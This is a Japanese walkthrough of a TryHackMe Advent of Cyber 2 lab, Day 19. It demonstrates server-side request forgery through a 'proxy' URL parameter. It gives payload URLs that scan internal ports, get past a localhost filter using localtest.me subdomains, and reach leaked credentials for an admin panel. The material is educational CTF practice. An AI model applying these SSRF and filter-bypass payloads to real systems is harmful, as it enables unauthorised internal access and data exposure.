[TryHackMe] Advent of Cyber 2, Day 19 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 19] Special by Tib3rius The Naughty or Nice List
## ストーリー

>サンタさんは、世界中の子供たちが現在自分がいたずらっ子リストに載っているか、いい子リストに載っているかをチェックできるWebアプリをリリースしました。残念ながら、それをコーディングしたエルフは思った以上のことを暴露してしまった。リストの管理画面へアクセスして、今年はすべての子供たちがサンタさんからプレゼントをもらえるようにすることはできますか。
>
>あなた自身でこのウェブアプリをハッキングしてみるか、以下の指示に従ってみてください!
>注意: ホスト名フィルターを回避する場合、`localtest.me`を使用してください。

## Server-Side Request Forgery
- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)

「**Server-Side Request Forgery (SSRF)**」は、攻撃者がサーバを利用して意図しないネットワーク要求を実行することができる場合に発生します。
脆弱性を評価する上で重要なことは、意図しないリクエストを行う能力を特定するとともに、その動作の影響を十分に示すことにあります。SSRFに脆弱なサーバがリクエストを行う能力によって、SSRFにより何ができるかが決まります。

「Advent of Cyber 2, Day 19」の例では、サイトは`HTTP`リクエストを許可していました。しかし、エルフたちは悪意のあるユーザーから自分たちのインフラストラクチャを十分に保護しておらず、結果として「**Remote File Inclusion （RFI）**」の脆弱性となり、機密と思われる情報の漏えいに至っています。

## Walkthrough
<ol>
<li>まずは、Webアプリにアクセスします。`[Deploy]`ボタンをクリックします。
ブラウザにて割り振られた`http://MACHINE_IP/`にアクセスします。`The Naughty or Nice List`の画面が表示されます。

```
http://MACHINE_IP/
```

![The Naughty or Nice List.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a8dc2691-328b-1f77-0c02-566146822482.png)

<li>フォームに`Noriaki`を入力し、`[Search]`ボタンをクリックします。

![Nice.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/065ff8a7-cbf8-af77-50ba-059e9f8ffe19.png)

`Noriaki is on the Nice List.`のメッセージが確認できます。
このとき、URLは次のとおりです。

```
http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2Fsearch.php%3Fname%3DNoriaki
```

<li>同じサイトのルートに対するアクセスを試みます。このとき、URLは次のとおりです。

```
http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2F
```

![NotFound.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/41556dcb-59f5-3e57-bf10-1628a861349b.png)

`Not Found: The requested URL was not found on this server.`のメッセージが確認できます。

<li>ポート番号を`8080`から`80`へ変更します。

```
http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A80%2F
```

![HTTP.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7a06e354-ef03-0b65-1021-5d4f9e57c69c.png)

`Failed to connect to list.hohoho port 80: Connection refused`のメッセージが確認できます。

<li>ポート番号を`22`を指定します。

```
http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A22%2F
```

![SSH.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b6b7420a-8b86-862b-cc17-ee645f53c54a.png)

`Recv failure: Connection reset by peer`のメッセージが確認できます。

<li>ローカルに実行されているサービスへのアクセスを試みます。ホスト名を`list.hohoho`を`localhost`または`127.0.0.1`へ変更してアクセスを試みます。

```
http://MACHINE_IP/?proxy=http%3A%2F%2Flocalhost%3A22%2F
```

![blocked.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3e65ca8b-22b2-ae50-fd9a-f6bf326b9aa1.png)

`Your search has been blocked by our security team.`のメッセージが確認できます。
また、他のホスト名（`127.0.0.1`、`example.com`）を試すと、それらもすべてブロックされます。

<li>DNSサブドメインを利用して、`127.0.0.1`に解決される独自のドメイン「`list.hohoho.localtest.me`」を指定します。ここで`localtest.me`は、すべてのサブドメインを`127.0.0.1`に解決させることができます。

```
http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho.localtest.me
```

![SSRF.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/238bacdc-66a7-5cb1-bb04-276d86e3addf.png)

ローカルで実行されているWebサーバーがあり、エルフ・McSkidyからのメッセージに、機密と思われる情報が含まれていることが確認できます。

<li>サイトフッターに表示されている`[Admin]`リンクまたはページ下にスクロールします。いくつかのユーザー名候補と、パスワードを試してみます。
![Santa.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4b68bc23-53b9-8dec-087f-213547c249cc.png)

`List Administration`ページが表示されました。`[DELETE NAUGHTY LIST]`ボタンをクリックすると、チャレンジフラグが表示されました。

![admin.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/77479c7d-8bf4-064c-9453-529d93c83d47.png)

これにて、19日目のミッションが終了です。

# 参考情報
- Mase289, [A tale of my first ever full SSRF bug](https://medium.com/bugbountywriteup/a-tale-of-my-first-ever-full-ssrf-bug-4fe71a76e9c4), 2020/06/23
- Vaadata, [Exploiting the SSRF vulnerability (2/2)](https://www.vaadata.com/blog/exploiting-the-ssrf-vulnerability/), 2019/10/14
- Vaadata, [Understanding the Web Vulnerability Server-Side Request Forgery (1/2)
](https://www.vaadata.com/blog/understanding-web-vulnerability-server-side-request-forgery-1/), 2018/05/18
- RCE Security, [GOOGLE INTERNAL DNS SSRF](https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/), 2017/01
- [Brett Buerhaus](https://twitter.com/bbuerhaus), [ESEA Server-Side Request Forgery and Querying AWS Meta Data](https://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/), 2016/04/18
- Black Hat USA 2017, [Orange Tsai](https://twitter.com/orange_8361), [A New Era of SSRF - Exploiting URL Parser in
Trending Programming Languages!](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
- HackTricks, [SSRF (Server Side Request Forgery)](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)

# 参考書籍
- Peter Yaworski, 『[リアルワールドバグハンティング――ハッキング事例から学ぶウェブの脆弱性](https://www.oreilly.co.jp/books/9784873119212/)』, 2020/09
- Prakhar Prasad, 『[Mastering Modern Web Penetration Testing](https://www.oreilly.com/library/view/mastering-modern-web/9781785284588/)』, 2016/10